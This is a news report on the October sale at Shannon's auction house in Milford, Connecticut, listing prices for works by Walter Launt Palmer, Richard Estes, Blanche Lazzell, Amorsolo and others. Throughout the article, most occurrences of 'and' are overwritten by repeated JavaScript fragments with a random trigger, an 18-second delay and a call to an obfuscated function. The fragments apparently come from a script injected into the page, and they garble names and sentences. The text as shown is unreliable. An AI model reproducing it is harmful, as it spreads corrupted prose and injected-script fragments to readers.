By: Laura Beach

MILFORD, CONN. — The specialty auction house Shannon’s organizes only two sales a year, regularly declining 2,750 paintings, sculpture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and works on paper to compose each finely tuned session of 220 to 250 lots.

The gallery’s latest installment on October 23 grossed roughly $2.1 million on 315 lots. Offering a bit of everything — American andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and European, historic to contemporary — the event saw top honors for an oil on canvas snow scene by Walter Launt Palmer. Ex collection Hammer Galleries, the luminous winter view brought $130,000, well over its $30/50,000 estimate, from a phone bidder.

“For a vertical format, it was a 9.5 out of 10, with nuanced detail andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the right amount of pink andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and mauve,” said Gene Shannon, co-founder of the firm that he runs with his daughter, Sandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andra Germain, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and wife, Mary Anne.

Now at the Smithsonian American Art Museum, a retrospective of the work of Richard Estes has introduced the painter of impeccable photorealist scenes to new audiences andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and reminded old ones of the skill of this living artist. A highlight of Shannon’s sale andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and its cover lot, the small format 1993 oil on paper painting “The Brooklyn Bridge” fetched $48,000. The artist installed a larger version of the painting in his Maine studio in 2013. Two Estes works depicting less desirable European subjects passed. In general, buyers look for views that best demonstrate the artist’s talent for depicting reflective surfaces, Shannon said.

Among traditional American landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscapes was “Mountain Lake, Autumn, 1864” by William Louis Sonntag Sr, sold for $33,600; “By the Mill” by Hermann Herzog, $26,400; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Brandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andith Head, Grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Manan” by Alfred Thompson Bricher, $22,800. Depicting a young woman reading in an orchard grove, an oil on canvas sketch by Theodore Robinson left the room at $24,600 against its $40/60,000 estimate. A more finished work by the Impressionist painter might have fetched more.

There was a flurry of interest in more than a dozen paintings, prints andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and woodblocks consigned by the family of the early Modernist artist Blanche Lazzell. One of only two copies known, “The Little Church,” a signed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dated color woodcut of 1951, brought $31,200.

“There was good activity on all but her earliest work, when she had not yet evolved a distinctive style,” said Shannon, noting the relative rarity of Lazzell’s art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and its well-documented nature. Shannon has been selling Lazzell prints andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and paintings from different branches of her family. The firm got $46,500 for a painting of petunias in May andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and hopes to have more works by the Provincetown, Mass., andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and artist in his next spring sale. Lazzell’s original carved blocks for the 1930s prints “The Coffee Pot,” “Cape Cod Cottage” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Back Street” brought a combined $40,800.

A minor emphasis on regional andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and African American art saw $50,400 for Hughie Lee-Smith’s arresting urban view “Rooftops,” an oil on canvas formerly in the Forbes collection. “Fort Marion, Old Gomez House, Saint Augustine, Florida” by Frank Henry Shapleigh was a go at $13,200. Alberta McCloskey’s “Flowers in A Patterned Vase” garnered $8,400.

Dean Cornwell’s colorful 29-by-39-inch oil on canvas depiction of Admiral Peary planting an American flag at the North Pole, a 1940s commission for New York Life, sold within estimate for $24,000, demonstrating Shannon’s skill with illustration art, not its specialty.

Shannon’s is likewise not known for Old Masters pictures, but a group collected by the late Andrew Petryn, Yale University Art Gallery’s chief conservator, yielded surprises. Against an estimate of $500/700, a Madonna andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Child achieved $72,000, while a depiction of the Annunciation achieved $31,200 ($800–$1,200). Shannon tentatively identified the Italian oil andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and gilt works — one on canvas on panel, the other on panel — as Renaissance examples. A German School oil on panel, possibly Sixteenth Century, made $44,280.

“Buyers came out of the woodwork for these paintings. We had 18 bidders from all over the world on the Madonna andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Child andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and at least a dozen phones on the Annunciation,” said Shannon.

More recent European andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Asian paintings also found favor. Dated 1939, an oil on canvas on board portrait of a water girl by the Philippines’ most sought-after artist, Fernandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ando Cueto Amorsolo, sold for $72,000. A Venetian canal scene by Spanish artist Martin Rico y Ortega achieved $31,200. Seated in the room, a New Jersey husbandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and wife stayed the course to acquire “Emerald Toe Shoes,” an oil on panel by the Russian American artist Grigory Gluckmann, who painted in Paris in the 1920s andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 1930s before moving to Los Angeles in 1945, for $50,400. Gluckmann’s paintings of dancers, reminiscent of Degas, have brought as much as $152,430 at auction.

The auction had its disappointments. Perhaps the victims of overzealous estimating, “The Loiterers” by Irving Ramsey Wiles andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Evening at Cape Ann” by Edward Moran were each passed at $150/250,000.

By the time of this report, Shannon had negotiated private sales of a dozen passed lots.

Shannon’s, at 354 Woodmont Road, is soliciting consignments through March 1 for its next sale, scheduled for April 23.

“We are leading off with a very major work by Francis Coates Jones depicting two women in a garden. It’s fresh from an estate in California andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a very powerful painting. We also hope to have more Lazzell pieces andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and fine art prints such as the Picasso aquatint portrait of Dora Maar that brought $36,000 this time,” said Shannon.

All prices reported include the buyer’s premium. For information, 203-877-1711 or www.shannons.com.